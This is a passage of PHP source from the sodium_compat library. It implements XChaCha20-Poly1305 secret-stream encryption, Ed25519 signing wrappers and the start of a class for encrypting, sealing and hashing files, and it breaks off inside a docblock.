            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_File', false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_File
 */
class ParagonIE_Sodium_File extends ParagonIE_Sodium_Core_Util
{
    /* PHP's default buffer size is 8192 for fread()/fwrite(). */
    const BUFFER_SIZE = 8192;

    /**
     * Box a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $keyPair    ECDH secret key and ECDH public key concatenated
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($inputFile, $outputFile, $nonce, $keyPair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (!is_string($keyPair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keyPair) . ' given.');
        }
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keyPair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $keyPair);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }

    /**
     * Open a boxed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $keypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($inputFile, $outputFile, $nonce, $keypair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($keypair)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($keypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_NONCEBYTES bytes');
        }
        if (self::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $keypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $publicKey  ECDH public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($inputFile, $outputFile, $publicKey)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_PUBLICKEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        /** @var string $ephKeypair */
        $ephKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair();

        /** @var string $msgKeypair */
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ephKeypair),
            $publicKey
        );

        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Compat::crypto_box_publickey($ephKeypair);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var int $firstWrite */
        $firstWrite = fwrite(
            $ofp,
            $ephemeralPK,
            ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES
        );
        if (!is_int($firstWrite)) {
            fclose($ifp);
            fclose($ofp);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            throw new SodiumException('Could not write to output file');
        }
        if ($firstWrite !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Error writing public key to output file');
        }

        $res = self::box_encrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($ephKeypair);
        }
        return $res;
    }

    /**
     * Open a sealed file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_box_seal_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_box_seal_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $ecdhKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($inputFile, $outputFile, $ecdhKeypair)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($ecdhKeypair)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($ecdhKeypair) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($ecdhKeypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES bytes');
        }

        $publicKey = ParagonIE_Sodium_Compat::crypto_box_publickey($ecdhKeypair);

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $ephemeralPK = fread($ifp, ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES);
        if (!is_string($ephemeralPK)) {
            throw new SodiumException('Could not read input file');
        }
        if (self::strlen($ephemeralPK) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES) {
            fclose($ifp);
            fclose($ofp);
            throw new SodiumException('Could not read public key from sealed file');
        }

        $nonce = ParagonIE_Sodium_Compat::crypto_generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );
        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash($filePath, $key = '', $outputLength = 32)
    {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = '';
            } else {
                throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.');
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.');
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
            }
            if (self::strlen($key) > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
            }
        }
        if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN');
        }
        if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
        while ($size > 0) {
            $blockSize = $size > 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException('Could not read input file');
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($inputFile, $outputFile, $nonce, $key)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($inputFile, $outputFile, $nonce, $key)
    {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
